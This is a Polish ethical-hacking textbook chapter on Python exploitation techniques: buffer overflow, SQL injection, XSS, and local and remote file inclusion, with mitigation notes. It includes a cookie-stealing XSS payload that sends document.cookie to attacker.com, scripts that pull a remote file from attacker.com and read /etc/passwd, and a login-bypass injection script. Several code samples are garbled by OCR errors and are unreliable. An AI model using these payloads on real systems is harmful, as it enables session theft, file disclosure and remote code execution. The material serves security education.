
Techniki eksploatacji z wykorzystaniem Pythona 

Ten rozdział zagłębia się w fazę eksploatacji etycznego hakowania, w której zidentyfikowane luki są 

wykorzystywane do uzyskania nieautoryzowanego dostępu lub zebrania poufnych informacji. Opisuje, 

w jaki sposób Python, dzięki swojej szerokiej gamie bibliotek i elastyczności, może być potężnym 

narzędziem do opracowywania i wykonywania kodu eksploatacji przeciwko różnym lukom, w tym 

przepełnieniom bufora, wstrzyknięciom SQL i atakom typu cross-site scripting. Czytelnicy uzyskają 

wgląd w tworzenie ładunków, automatyzację dostarczania eksploatacji i skuteczne używanie Pythona 

w celu osiągnięcia celów po eksploatacji, jednocześnie przestrzegając standardów etycznego 

hakowania i granic prawnych. 

Rozumienie eksploatacji w kontekście etycznego hakowania 

Eksploatacja w obszarze cyberbezpieczeństwa obejmuje wykorzystywanie luk w systemach, sieciach 

lub aplikacjach w celu uzyskania nieautoryzowanego dostępu lub wykonania nieautoryzowanych 

działań. W kontekście etycznego hakowania eksploatacja jest krytyczną fazą, która następuje po 

starannej identyfikacji i ocenie luk. Etyczni hakerzy, czyli testerzy penetracyjni, wykorzystują techniki 

eksploatacji, aby zademonstrować wpływ luk w sposób kontrolowany i legalny, mając na celu poprawę 

postawy bezpieczeństwa testowanych systemów. Aby zrozumieć eksploatację w etycznym hakowaniu, 

należy najpierw zrozumieć różnicę między luką a eksploitem. Luka to słabość lub wada 

oprogramowania, sprzętu lub procesów organizacyjnych, która potencjalnie może zostać 

wykorzystana przez atakującego w celu naruszenia poufności, integralności lub dostępności zasobów. 

Z drugiej strony, exploit to część oprogramowania, fragment danych lub sekwencja poleceń, która 

wykorzystuje lukę w zabezpieczeniach, aby spowodować niezamierzone lub nieautoryzowane 

działania w systemie. Proces eksploatacji można opisać w kilku kluczowych krokach: 

• Identyfikacja luk: Faza początkowa obejmuje identyfikację luk w systemie, aplikacji lub sieci. 

Zazwyczaj odbywa się to za pomocą różnych metod, takich jak ręczne testowanie, automatyczne 

narzędzia skanujące i przegląd kodu. 

• Analiza luk: Po zidentyfikowaniu luk są one analizowane w celu zrozumienia ich natury, wpływu i 

wykonalności wykorzystania. Ten krok jest kluczowy w ustalaniu priorytetów luk, które należy 

rozwiązać. 

• Opracowywanie exploitów: Na podstawie analizy tworzone są exploity lub modyfikowane są 

istniejące exploity, aby ukierunkować je na określone zidentyfikowane luki. Ten krok wymaga 

dogłębnej wiedzy technicznej i umiejętności programowania, często w językach takich jak Python. 

• Wykonywanie exploitów: Opracowane lub zmodyfikowane exploity są następnie wykonywane w 

odniesieniu do docelowych luk. Udane wykonanie może skutkować nieautoryzowanym dostępem lub 

ujawnieniem informacji, co pokazuje potencjalny wpływ luk. 

• Post-eksploatacja: Po uzyskaniu dostępu można wykonać dalsze działania w celu osiągnięcia celów 

testu, takie jak eksfiltracja danych, eskalacja uprawnień lub ustanowienie trwałości na potrzeby dalszej 

eksploracji i analizy. 

Python wyłania się jako dominujące narzędzie w fazie eksploatacji ze względu na swoją prostotę, 

rozszerzalność i szeroki wachlarz bibliotek dostępnych do sieciowania, web scrapingu i manipulacji 

systemem. Niestandardowe skrypty napisane w Pythonie mogą zautomatyzować proces eksploatacji, 

umożliwiając etycznym hakerom skuteczniejsze testowanie bezpieczeństwa systemów. Należy 

koniecznie podkreślić, że etyczne hakowanie, w tym faza eksploatacji, musi być zawsze 

przeprowadzane z wyraźną autoryzacją podmiotu, który jest właścicielem lub jest odpowiedzialny za 



testowane aktywa. Nieautoryzowane wykorzystanie luk w zabezpieczeniach stanowi nielegalną 

działalność i wykracza poza zakres etycznego hakowania. Zrozumienie eksploatacji w kontekście 

etycznego hakowania obejmuje rozpoznanie znaczenia systematycznego identyfikowania, 

analizowania i wykorzystywania luk w zabezpieczeniach w ramach prawnych i kontrolowanych. Python 

odgrywa znaczącą rolę w tym procesie, oferując elastyczne i wydajne środki do opracowywania i 

wykonywania exploitów, tym samym odkrywając potencjalne słabości w zabezpieczeniach, które 

można następnie rozwiązać w celu wzmocnienia ogólnej postawy bezpieczeństwa danego systemu lub 

sieci. 

Podstawowe pojęcia dotyczące luk i exploitów 

Luki w zabezpieczeniach komputerowych to słabości lub wady znalezione w systemach 

oprogramowania lub sprzętu, które, gdy zostaną wykorzystane przez atakującego, mogą prowadzić do 

nieautoryzowanego dostępu lub uszkodzenia. Luki te mogą być tak proste, jak błędna konfiguracja 

ustawień serwera lub tak złożone, jak wada algorytmu kryptograficznego używanego przez protokół 

komunikacyjny. Z drugiej strony, exploity to fragmenty oprogramowania, sekwencje poleceń lub 

dowolny typ danych, które wykorzystują luki w zabezpieczeniach, aby powodować niezamierzone 

zachowanie oprogramowania lub sprzętu systemu. To niezamierzone zachowanie zwykle pozwala 

atakującemu uzyskać kontrolę nad zasobami systemu lub uzyskać dostęp do poufnych informacji. 

Exploity można podzielić na dwie główne kategorie: lokalne i zdalne. Lokalne exploity wymagają 

wcześniejszego dostępu do podatnego systemu, aby można je było wykorzystać, podczas gdy zdalne 

exploity można wykonywać w sieci bez bezpośredniego dostępu do podatnego systemu. Omówmy 

związek między lukami w zabezpieczeniach a exploitami w kontekście ataku: 

• Istnienie podatności nie oznacza z natury, że system informatyczny jest natychmiast zagrożony. Na 

przykład podatność w komponencie oprogramowania, która nie jest dostępna z sieci lub wymaga 

wysoce uprzywilejowanego dostępu do wykorzystania, może stanowić mniejsze bezpośrednie ryzyko 

niż mogłoby sugerować powszechnie zgłaszane. 

• Wykorzystanie staje się namacalnym zagrożeniem, gdy jest skutecznie połączone z podatnością. Do 

tego czasu jest jedynie potencjalnym ryzykiem. Krytycznym punktem działania jest faktyczne 

wykorzystanie podatności. 

• Cykl życia podatności od jej odkrycia, wykorzystania, do momentu wydania i zastosowania poprawki 

ma kluczowe znaczenie dla zrozumienia okna możliwości dla atakującego. Te ramy czasowe znacząco 

wpływają na projektowanie środków i narzędzi cyberbezpieczeństwa. 

W kontekście opracowywania exploitów przy użyciu języka Python istotne jest zrozumienie, w jaki 

sposób można wykorzystać wszechstronność języka Python i szeroki zakres bibliotek: 

1 # Example of using Python's socket library for network communication 

2 import socket 

3 

4 def establish_connection(ip, port): 

5 try: 

6 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

7 s.connect((ip, port)) 



8 return s 

9 except Exception as e: 

10 print(f"Connection failed: {e}") 

11 return None 

Ten prosty przykład pokazuje użycie biblioteki „socket” Pythona do nawiązania połączenia sieciowego, 

co jest podstawą wielu exploitów opartych na sieci. Prostota i czytelność Pythona sprawiają, że jest to 

doskonały wybór do pisania szybkich i skutecznych skryptów exploitów. 

Łagodzenie i zapobieganie 

Łagodzenie luk i prób ich wykorzystania to wieloaspektowy problem, który wymaga połączenia 

najlepszych praktyk inżynierii oprogramowania, regularnych ocen bezpieczeństwa i świadomości 

wśród programistów i użytkowników. Kluczowe strategie obejmują: 

• Regularne łatanie i aktualizowanie oprogramowania w celu naprawienia znanych luk. 

• Stosowanie bezpiecznych praktyk kodowania w celu zminimalizowania wprowadzania nowych luk. 

• Kompleksowe testowanie, w tym testy penetracyjne i stosowanie narzędzi do analizy statycznej i 

dynamicznej w celu wykrywania luk. 

Zrozumienie podstawowych zasad luk i luk oraz skuteczne stosowanie środków zaradczych ma 

kluczowe znaczenie w opracowywaniu bezpiecznych systemów. Uzbrojeni w tę wiedzę i możliwości 

Pythona, etyczni hakerzy mogą projektować i wdrażać potężne narzędzia do identyfikowania, 

wykorzystywania i łagodzenia luk zgodnie ze standardami etycznego hakowania i granicami prawnymi. 

 Python do tworzenia i dostarczania exploitów 

Wszechstronność Pythona i rozbudowany ekosystem bibliotek sprawiają, że jest to doskonały wybór 

dla etycznych hakerów skupiających się na fazie eksploatacji audytu bezpieczeństwa. W tej sekcji 

omówione zostaną zalety korzystania z Pythona do tworzenia exploitów, rola jego bibliotek oraz 

podane zostaną przykłady, w jaki sposób Python może być używany do tworzenia i dostarczania 

exploitów. Jedną z podstawowych zalet Pythona jest jego czytelność i prostota, co pozwala na szybkie 

opracowywanie i prototypowanie kodu exploita. Składnia Pythona jest przejrzysta i zwięzła, co pozwala 

programistom skupić się na logice exploita, a nie na zawiłościach języka programowania. Ponadto duża 

biblioteka standardowa Pythona i obfitość modułów innych firm znacznie zmniejszają potrzebę 

ponownego wyważania otwartych drzwi, zapewniając wstępnie zbudowane funkcje do różnych zadań 

sieciowych, manipulacji danymi binarnymi i interakcji w sieci. 

Zalety języka Python w rozwoju exploitów 

• Czytelność: składnia języka Python jest prosta, dzięki czemu kod jest łatwy do napisania i zrozumienia. 

Jest to szczególnie korzystne w kontekście audytu bezpieczeństwa, w którym kod exploita może 

wymagać udostępnienia lub przejrzenia przez członków zespołu. 

• Obszerne biblioteki: Python oferuje kompleksową bibliotekę standardową połączoną z szerokim 

wyborem modułów innych firm, poświęconych między innymi sieciom, kryptografii i parsowaniu. 

• Zgodność międzyplatformowa: kod Pythona można wykonywać w różnych systemach operacyjnych 

przy minimalnych modyfikacjach. Jest to kluczowe dla testowania exploitów w różnych środowiskach. 



• Wsparcie społeczności: społeczność Pythona jest solidna i aktywna, oferując obszerną dokumentację, 

fora i wstępnie zbudowane biblioteki, które można wykorzystać w rozwoju exploitów. 

Wykorzystanie bibliotek Pythona 

Kilka bibliotek Pythona jest szczególnie przydatnych w kontekście tworzenia i dostarczania exploitów. 

Biblioteka socket jest podstawą do tworzenia połączeń sieciowych, podczas gdy requests i 

BeautifulSoup są niezbędne do exploitów internetowych. Do manipulacji danymi binarnymi niezbędna 

jest biblioteka struct. Biblioteki takie jak Pwntools są specjalnie zaprojektowane do pisania exploitów, 

zapewniając szeroki wachlarz funkcjonalności mających na celu usprawnienie procesu rozwoju. 

Przykład: Tworzenie prostego exploita przepełnienia bufora Aby zilustrować proces tworzenia exploita 

za pomocą Pythona, rozważmy scenariusz, w którym odkryto lukę w zabezpieczeniach przepełnienia 

bufora w lokalnie hostowanej aplikacji. Celem jest stworzenie exploita, który wyzwala lukę w 

zabezpieczeniach, aby wykonać dowolny kod w systemie docelowym. 

1 import socket 

2  

3 targetjp ="127.0.0.1" 

4 target_port = 1234 

5 

6 # Create a socket object 

7 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

8 

9 # Connect to the target 

10 s.connect((target_ip, target_port)) 

11 12# Crafting the payload 

13 payload = "A" * 1024 # Assuming the buffer size is 1024 bytes 

14  

15# Append shellcode or a return-to-libc address after the padding 

16 # In this simplified example, ’B'*4 represents the target return address 

17 exploit_payload = payload + "B" * 4 

18 

19 # Sending the payload 

20 s.send(exploit_payload.encode()) 

21 s.close() 

Ten przykład pokazuje prosty exploit przepełnienia bufora. Skrypt zaczyna od zaimportowania 

niezbędnej biblioteki, a następnie nawiązuje połączenie z aplikacją docelową za pomocą gniazd. 

Ładunek exploita składający się z bufora o zbyt dużych rozmiarach jest konstruowany i wysyłany do 



celu, zaprojektowany tak, aby przepełnić bufor i nadpisać adres zwrotny na stosie. W celach 

ilustracyjnych rzeczywisty kod powłoki lub określone adresy, które mogłyby spowodować wykonanie 

kodu, nie są uwzględniane. 

Dostarczanie exploita 

Skuteczne dostarczanie exploita jest tak samo krytyczne, jak jego opracowanie. W zależności od 

charakteru luki i celu można użyć różnych mechanizmów dostarczania. Na przykład exploity oparte na 

sieci mogą być dostarczane za pośrednictwem spreparowanych żądań HTTP, wstrzyknięć SQL za 

pośrednictwem zmanipulowanych danych wejściowych formularza i przepełnień bufora za 

pośrednictwem bezpośrednich połączeń sieciowych lub złośliwych danych wejściowych pliku. 

Biblioteka żądań Pythona upraszcza wysyłanie żądań HTTP do aplikacji internetowych, co czyni ją 

nieocenionym narzędziem do dostarczania exploitów opartych na sieci. W przypadku luk opartych na 

sieci biblioteka gniazd, jak pokazano w poprzednim przykładzie, zapewnia kompleksowe 

funkcjonalności do interakcji z protokołami TCP/IP. Podsumowując, Python wyposaża etycznych 

hakerów w potężny zestaw narzędzi do opracowywania i dostarczania exploitów. Jego połączenie 

prostoty, rozbudowanych bibliotek i możliwości międzyplatformowych nie tylko ułatwia szybkie 

opracowywanie exploitów, ale także zapewnia, że etyczni hakerzy mogą dostosować swoje narzędzia, 

aby skutecznie radzić sobie z szeroką gamą luk. 

Wykorzystywanie przepełnienia bufora za pomocą Pythona 

Luki w zabezpieczeniach związane z przepełnieniem bufora pojawiają się, gdy aplikacja zapisuje do 

bufora więcej danych, niż zamierzała pomieścić. Ta rozbieżność może prowadzić do wykonania 

dowolnego kodu lub awarii aplikacji, co czyni ją znaczącym wektorem eksploatacji w 

cyberbezpieczeństwie. Python, ze swoją ekspresyjną składnią i rozbudowanym wsparciem bibliotek, 

jest idealnym narzędziem do opracowywania luk w zabezpieczeniach związanych z przepełnieniem 

bufora. 

Podstawą wykorzystywania luk w zabezpieczeniach związanych z przepełnieniem bufora jest 

skrupulatne nadpisywanie adresu powrotu funkcji wskaźnikiem do złośliwego kodu. Ta sekcja 

przeprowadzi Cię przez proces identyfikowania luk w zabezpieczeniach związanych z przepełnieniem 

bufora, tworzenia skryptu Pythona w celu wygenerowania i dostarczenia ładunku, a ostatecznie 

uzyskania kontroli nad przepływem wykonywania podatnego programu. 

Identyfikacja luk w zabezpieczeniach związanych z przepełnieniem bufora 

Identyfikacja luki w zabezpieczeniach związanej z przepełnieniem bufora zazwyczaj obejmuje 

połączenie ręcznej analizy i zautomatyzowanych narzędzi. Dla uproszczenia i skupienia się na tej sekcji 

przyjęto założenie, że luka została już zidentyfikowana, a celem jest opracowanie exploita. 

Tworzenie ładunku 

Ładunek dla exploita przepełnienia bufora zazwyczaj składa się z trzech kluczowych komponentów: 

• NOP sled, czyli sekwencji instrukcji bez operacji, aby zapewnić większy cel, do którego adres 

powrotny może przejść. 

• Shellcode, czyli złośliwy kod wykonywany, gdy przepełnienie nadpisuje adres powrotny lokalizacją 

tego kodu. 

• Nadpisany adres powrotny, który wskazuje na lokalizację w NOP sled. 



Aby stworzyć ten ładunek w Pythonie, trzeba znać dokładne przesunięcie, w którym znajduje się adres 

powrotny w buforze. Zazwyczaj można to ustalić za pomocą analizy debugera lub przy użyciu narzędzi 

zaprojektowanych do tworzenia exploitów. 

Poniższy fragment kodu Pythona ilustruje proces tworzenia prostego ładunku: 

1 import struct 

2  

3 # Parameters 

4 offset = 100 

5 return_address = Oxbffffdfc 

6  nop_sled = b"\x90" * 100 # 100 NOP instructions 

7 shellcode = b"\x31\xc0\x50\x68\x2f..." 

8 payload = nop.sled + shellcode + b"A" * (offset - len(nop_sled) - len(shellcode)) + struct.pack("<I", 

return_address) 

9 

10 print(payload) 

Ten ładunek zaczyna się od sanek NOP, po nich następuje kod powłoki, wypełnia resztę bufora, aby 

osiągnąć przesunięcie, i na końcu nadpisuje adres powrotu. 

Dostarczanie ładunku 

Po stworzeniu ładunku następnym krokiem jest jego dostarczenie do podatnej aplikacji. Można to 

osiągnąć za pomocą różnych wektorów wejściowych w zależności od projektu aplikacji, takich jak 

argumenty wiersza poleceń, pakiety sieciowe lub dane wejściowe pliku. Dla demonstracji rozważmy 

podatną aplikację, która akceptuje dane wejściowe za pomocą argumentów wiersza poleceń. Skrypt 

Pythona do wysyłania ładunku może być tak prosty, jak: 

1 import subprocess 

2 

3 # Assuming'vulnerable_app' is the vulnerable application's name 

4 subprocess.run([’vulnerable_app', payload] 

Ten skrypt uruchamia podatną aplikację z wcześniej przygotowanym ładunkiem, który, jeśli się 

powiedzie, przepełni bufor i wykona kod powłoki. 

Testowanie i debugowanie exploita 

Testowanie i debugowanie to kluczowe fazy procesu opracowywania exploita. Narzędzia takie jak GDB 

(GNU Debugger) mogą być pomocne w badaniu stanu pamięci aplikacji przed i po dostarczeniu 

ładunku, zapewniając, że przepełnienie nastąpi zgodnie z oczekiwaniami, a kod powłoki zostanie 

poprawnie wykonany. Opracowywanie exploitów dla luk przepełnienia bufora za pomocą Pythona 

wymaga szczegółowej wiedzy na temat struktury pamięci podatnej aplikacji i mechaniki exploita. 

Poprzez staranne opracowanie ładunku i odpowiednich metod dostarczania możliwe jest skuteczne 



wykorzystanie tych luk w celu uzyskania nieautoryzowanego dostępu lub wykonania dowolnego kodu. 

Należy jednak pamiętać o etycznych i prawnych implikacjach opracowywania exploita i upewnić się, że 

wszystkie działania są prowadzone w granicach prawa i wytycznych etycznych.  

Pisanie skryptów Pythona do ataków typu SQL Injection 

SQL Injection (SQLi) to powszechna luka w zabezpieczeniach, która umożliwia atakującemu ingerencję 

w zapytania, które aplikacja wysyła do swojej bazy danych. Zazwyczaj polega ona na wstawianiu lub 

„wstrzykiwaniu” złośliwych zapytań SQL za pośrednictwem danych wejściowych od klienta do aplikacji. 

Udany atak typu SQL Injection może odczytywać poufne dane z bazy danych, modyfikować dane bazy 

danych, wykonywać operacje administracyjne, a nawet w niektórych przypadkach wydawać polecenia 

systemowi operacyjnemu. Python, dzięki swojej zwięzłej składni i potężnej bibliotece standardowej, 

służy jako doskonałe narzędzie do automatyzacji ataków typu SQL Injection w celach etycznego 

hakowania. Aby zrozumieć, w jaki sposób Python może być używany do automatyzacji ataków typu 

SQL Injection, musimy najpierw przyjrzeć się podstawom konstruowania ładunku typu SQL Injection, a 

następnie zobaczyć, w jaki sposób Python może zautomatyzować dostarczanie tych ładunków do 

podatnych systemów. 

Tworzenie ładunku typu SQL Injection 

Ładunek typu SQL Injection jest tworzony na podstawie zrozumienia struktury bazy danych i zapytania 

SQL, którego używa aplikacja. Rozważ aplikację, która używa następującego zapytania SQL do 

uwierzytelniania użytkowników: 

 

Atakujący może wprowadzić specjalnie spreparowany <username> lub <password>, aby zmodyfikować 

zapytanie, aby ominąć uwierzytelnianie lub pobrać informacje. Klasycznym ładunkiem dla pola 

username może być: 

’ORT=T- 

Ten ładunek sprawia, że zapytanie zawsze jest prawdziwe, potencjalnie dając atakującemu 

nieautoryzowany dostęp. 

Używanie Pythona do automatyzacji SQLi 

Python może być używany do automatyzacji przesyłania tych ładunków do podatnej aplikacji. 

Biblioteka żądań jest szczególnie dobrze przystosowana do ataków internetowych, takich jak 

wstrzykiwanie SQL. Poniższy przykład demonstruje podstawowy skrypt do automatyzacji ataków 

wstrzykiwania SQL: 

1 import requests 

2 

3 # URL of the target application 

4 url = ' http://example.com/login' 

5  

6 # Dictionary containing the payload 

7 data = { 



8 ’username’:OR 

9 'password': 'irrelevant' 

10 } 

11 

12# Sending a POST request to the application 

13 response = requests.post(url, data=data) 

14 

15# Checking if the injection was successful 

16 if "logged in" in response.text: 

17 print("SQL Injection successful!") 

18 else: 

19 print("SQL Injection unsuccessful.") 

Ten skrypt wysyła żądanie POST do docelowego adresu URL ze spreparowanym ładunkiem. Następnie 

response.text jest sprawdzany w celu ustalenia, czy atak się powiódł. Jednak ataki typu SQL injection 

nie ograniczają się do formularzy logowania. Mogą być przeprowadzane wszędzie tam, gdzie dane 

wprowadzane przez użytkownika są bezpośrednio uwzględniane w zapytaniach SQL. Elastyczność 

języka Python pozwala na dostosowanie lub rozszerzenie skryptów w celu dostosowania ich do różnych 

technik wstrzykiwania, takich jak ataki czasowe, w których czas odpowiedzi bazy danych jest używany 

do wnioskowania informacji, lub nawet bardziej złożonych ślepych wstrzykiwań SQL. Pisanie skryptów 

języka Python do wstrzykiwań SQL wymaga głębokiego zrozumienia zarówno języka SQL, jak i logiki 

podatnej aplikacji. Podczas gdy podany przykład demonstruje prosty przypadek wstrzykiwania SQL, 

rzeczywiste scenariusze mogą wymagać bardziej wyrafinowanych metod i ładunków. Ważne jest 

również podkreślenie znaczenia zasad etycznego hakowania. Te skrypty powinny być używane 

wyłącznie do zgodnych z prawem ocen bezpieczeństwa, a etyczny haker jest odpowiedzialny za 

uzyskanie wszystkich niezbędnych uprawnień przed testowaniem luk w zabezpieczeniach. 

Podsumowując, Python oferuje solidną i elastyczną platformę do opracowywania narzędzi do 

automatyzacji ataków typu SQL injection. Jeśli użyje ich świadomy i etyczny haker, narzędzia te mogą 

znacząco przyczynić się do poprawy bezpieczeństwa aplikacji poprzez identyfikację i pomoc w 

usuwaniu luk w zabezpieczeniach umożliwiających atak SQL injection. 

Automatyzacja ataków typu Cross-Site Scripting (XSS) za pomocą Pythona 

Cross-Site Scripting (XSS) to powszechna luka w zabezpieczeniach, która umożliwia atakującym 

wstrzykiwanie złośliwych skryptów do stron internetowych przeglądanych przez użytkowników. W tej 

sekcji omówiono, w jaki sposób Python może być wykorzystywany do automatyzacji wykrywania i 

wykorzystywania luk XSS, usprawniając proces dla etycznych hakerów. 

Identyfikacja luk XSS 

Pierwszym krokiem w automatyzacji ataków XSS jest identyfikacja potencjalnych punktów 

wstrzyknięcia w aplikacji internetowej. Typowe lokalizacje obejmują pola wyszukiwania, formularze 

logowania i wszelkie pola wprowadzania, w których dane dostarczone przez użytkownika są odbijane 

przez serwer internetowy bez odpowiedniej dezynfekcji. Aby zautomatyzować identyfikację tych 



punktów, można użyć bibliotek Pythona i BeautifulSoup. Biblioteka żądań ułatwia wysyłanie żądań 

HTTP do aplikacji internetowej, podczas gdy BeautifulSoup może analizować odpowiedzi HTML, aby 

sprawdzić, czy ładunek został odebrany bez dezynfekcji. 

1 import requests 

2 from bs4 import BeautifulSoup 

3 

4 def detect_xss(url, test_script): 

5 # Sending a test script in the request 

6 response = requests.post(url, data={'input_field’: test_script}) 

7 # Parsing the HTML response 

8 soup = BeautifulSoup(response.text, 'html.parser') 

9  

10 # Checking if the test script appears in the response 

11 if test_script in soup.text: 

12 return True 

13 else: 

14 return False 

Funkcja detect_xss wysyła żądanie zawierające skrypt testowy (<script>alert(’XSS’)<script>) i analizuje 

odpowiedź, aby sprawdzić, czy skrypt wydaje się niezakodowany, co wskazuje na potencjalną lukę w 

zabezpieczeniach XSS. 

Wykorzystywanie luk w zabezpieczeniach XSS 

Po zidentyfikowaniu luki w zabezpieczeniach XSS, następnym krokiem jest stworzenie i dostarczenie 

złośliwego skryptu w celu jej wykorzystania. Ten skrypt może wykonywać różne czynności, takie jak 

kradzież plików cookie, tokenów sesji lub przekierowywanie ofiary do złośliwej witryny. Poniższy 

przykład pokazuje, w jaki sposób biblioteka żądań Pythona może zostać użyta do dostarczenia ładunku, 

który kradnie pliki cookie i wysyła je do serwera kontrolowanego przez atakującego. 

1exploit_payload = 

"<script>document.location='http://attacker.com/steal?cookies='+document.cookie;</script>" 

2 

3 vulnerable_url = "" 

http://example.com/vulnerable_page 

4 

5 # Injecting the exploit 

6 requests.post(vulnerable_url, data={'input_field’: exploit_payload}) 



Ten ładunek przekierowuje przeglądarkę użytkownika do serwera atakującego, dodając pliki cookie 

użytkownika jako parametry adresu URL, co zagraża jego sesji. 

Automatyzacja dostarczania ładunku 

Aby w pełni zautomatyzować proces eksploatacji, etyczni hakerzy mogą używać Pythona do 

systematycznego wysyłania różnych ładunków do różnych wektorów wejściowych aplikacji 

internetowej. Obiekt requests.session() może zarządzać plikami cookie między żądaniami, symulując 

rzeczywistą sesję użytkownika. 

1 import requests 

2 

3 def automated_exploit(url, payloads): 

4 session = requests.Session() 

5  

6 for payload in payloads: 

7 response = session.post(url, data={’input_field’: payload)) 

8 

9 if "successful_exploit_indicator" in response.text: 

10 print(f"Payload successful: (payload}") 

11 break 

Ta funkcja iteruje listę ładunków, próbując wykorzystać lukę. Jeśli ładunek zakończy się sukcesem (o 

czym informuje konkretny wskaźnik sukcesu w odpowiedzi), funkcja zatrzymuje się, sygnalizując udaną 

eksploatację. 

Rozważania etyczne i prawne 

Podczas gdy automatyzacja ataków XSS może być potężnym narzędziem w arsenale etycznych 

hakerów, konieczne jest prowadzenie tych działań w granicach legalności i standardów etycznych. 

Przed testowaniem należy uzyskać pozwolenie od organizacji docelowej, a wszelkie ustalenia należy 

zgłaszać w sposób odpowiedzialny, aby umożliwić złagodzenie zidentyfikowanych luk. Python służy 

jako wszechstronne narzędzie do automatyzacji wykrywania i wykorzystywania luk XSS, usprawniając 

proces dla specjalistów ds. bezpieczeństwa. Jednak względy etyczne i prawne muszą być zawsze 

najważniejsze, aby zapewnić odpowiedzialne korzystanie z takich możliwości. 

Techniki eksploatacji lokalnego i zdalnego dołączania plików 

Lokalne dołączanie plików (LFI) i zdalne dołączanie plików (RFI) to powszechne luki w zabezpieczeniach, 

które stanowią poważne ryzyko dla aplikacji internetowych. Te ataki obejmują wstrzykiwanie ścieżek 

plików do aplikacji internetowych w celu uwzględnienia plików, które nie mają być częścią przepływu 

wykonywania aplikacji internetowej. Wykorzystanie tych luk może prowadzić do nieautoryzowanego 

dostępu, ujawnienia poufnych danych i naruszenia bezpieczeństwa serwera. W tej sekcji zostaną 

omówione obie luki w zabezpieczeniach i zademonstrowane sposoby wykorzystania języka Python do 

automatyzacji i skutecznego wykonywania tych ataków, a także podkreślone zostanie znaczenie 

działania w granicach prawnych i etycznych. 



Zrozumienie LFI i RFI 

Lokalne dołączanie plików umożliwia atakującemu uwzględnienie plików na serwerze poprzez 

wykorzystanie podatnych procedur dołączania zaimplementowanych w aplikacji internetowej. Ta luka 

w zabezpieczeniach występuje zazwyczaj, gdy aplikacja używa danych wejściowych dostarczonych 

przez użytkownika bez odpowiedniej walidacji w celu pobrania pliku, który zostanie wykonany lub 

uwzględniony w danych wyjściowych. Z kolei zdalne dołączanie plików umożliwia atakującemu zdalne 

wykonanie dowolnego kodu poprzez dołączenie pliku zawierającego złośliwy kod ze zdalnego serwera. 

Jest to możliwe, gdy aplikacja internetowa dynamicznie dołącza zewnętrzne pliki lub skrypty. 

Obie luki wykorzystują możliwości dynamicznego dołączania plików w aplikacjach internetowych do 

wykonywania nieautoryzowanych działań. 

Identyfikacja podatnych aplikacji 

Identyfikacja aplikacji podatnych na LFI lub RFI wymaga dokładnej kontroli sposobu obsługi danych 

wejściowych użytkownika, w szczególności w funkcjach obejmujących pliki na podstawie danych 

wejściowych użytkownika, takich jak odwołania do stron w adresach URL. Narzędzia napisane w 

Pythonie mogą zautomatyzować proces wysyłania wielu żądań z różnymi ładunkami w celu 

zidentyfikowania potencjalnych luk. 

Przykład kodu: Skrypt Pythona do wykrywania LFI 

Następujący skrypt Pythona wysyła żądanie do docelowego adresu URL i próbuje dołączyć plik 

/etc/passwd, który jest częstym celem ataków LFI ze względu na jego obecność w systemach Unix i 

Linux zawierających informacje o użytkowniku. 

1 import requests 

2 

3 def test_lfi(url): 

4 payload = {'page*: ’../../../../../../etc/passwd’} 

5  r = requests.get(url, params=payload) 

6 if "root:x" in r.text: 

7 print(f "LFI vulnerability found at {url}") 

8 else: 

9 print(f "No LFI vulnerability found at {url}") 

10 

11 target.url = "" http://example.com/index.php 

12 test_lfi(target_url) 

 

Przykład kodu: Skrypt Pythona do wykrywania RFI 



Wykrywanie luk w zabezpieczeniach RFI można przeprowadzić, próbując dołączyć zdalnie hostowany 

plik, który po dołączeniu wykonuje obserwowalną akcję. Poniższy skrypt sprawdza RFI, dołączając plik 

testowy hostowany na serwerze atakującego. 

1 import requests 

2  

3 def test_rfi(url): 

4 payload = {'page*: 'http://attacker.com/testfile.php’} 

5 r = requests.get(url, params=payload) 

6 if "Test file included successfully" in r.text: 

7 print(f "RFI vulnerability found at {url}") 

8 else: 

9 print(f "No RFI vulnerability found at {url}") 

10 

11 target.url = "" http://example.com/index.php 

12 test_rfi(target_url) 

Techniki eksploatacji 

Po zidentyfikowaniu luki w zabezpieczeniach kolejnym krokiem jest eksploatacja. W przypadku LFI 

eksploatacja często obejmuje dostęp do poufnych plików lub wykonywanie kodu PHP za 

pośrednictwem opakowań PHP. W przypadku RFI zazwyczaj obejmuje to hostowanie złośliwego kodu 

PHP na zdalnym serwerze i nakłanianie docelowej aplikacji internetowej do jego uwzględnienia. 

Eksploatacja LFI za pomocą Pythona 

LFI można wykorzystać za pomocą Pythona, tworząc żądania, które nawigują po strukturze katalogów 

serwera w celu uwzględnienia poufnych plików. Zaawansowana technika obejmuje użycie opakowań 

wejściowych PHP w celu konwersji dostarczonych przez użytkownika danych wejściowych na 

wykonywalny kod PHP. 

1 import requests 

2  

3 def exploit_lfi(url): 

4 payload = {’page’: ’php://filter/convert.base64-encode/resource=index.php'} 

5 r = requests.get(url, params=payload) 

6 if r.status_code == 200: 

7 print(f"Base64 encoded contents of index.php:\n {r.text}") 

8 else: 

9 print("Exploitation failed.") 



10 

11 target_url = "" http://example.com/index.php 

12 exploit_lfi(target_url) 

Wykorzystanie RFI za pomocą Pythona 

Wykorzystywanie luk w zabezpieczeniach RFI za pomocą Pythona obejmuje dwa kroki: umieszczenie 

złośliwego pliku PHP na kontrolowanym serwerze, a następnie wysłanie żądania do podatnej aplikacji 

o dołączenie zdalnego pliku. 

1. # Malicious PHP file hosted on attacker's server 

2 # testfile.php contents: <?php echo ’Remote code executed successfully'; ?> 

3 

4 import requests 

5  

6 def exploit_rfi(url): 

7 payload = {'page’: ' http://attacker.com/testfile.php'} 

8 r = requests.get(url, params=payload) 

9 if "Remote code executed successfully" in r.text: 

10 print("RFI successfully exploited.") 

11 else: 

12 print("Exploitation failed.") 

13 

14 target.url = "" http://example.com/index.php 

15 exploit_rfi(target_url) 

Strategie łagodzenia 

Łagodzenie luk LFI i RFI wymaga starannej walidacji i oczyszczania danych wejściowych użytkownika, 

wdrażania białych list do dołączania plików i wyłączania możliwości zdalnego dołączania plików w 

konfiguracjach serwera. Ponadto stosowanie ram bezpieczeństwa i skanerów może zapobiec 

wprowadzaniu tych luk w trakcie rozwoju. Luki LFI i RFI narażają aplikacje internetowe na poważne 

ryzyko. Python, dzięki swoim wszechstronnym bibliotekom, zapewnia doskonały zestaw narzędzi do 

wykrywania i wykorzystywania tych luk. Jednak konieczne jest, aby takie techniki były stosowane w 

granicach etycznego hakowania, zapewniając uzyskanie pozwolenia przed testowaniem i 

odpowiedzialne zgłaszanie ustaleń. 

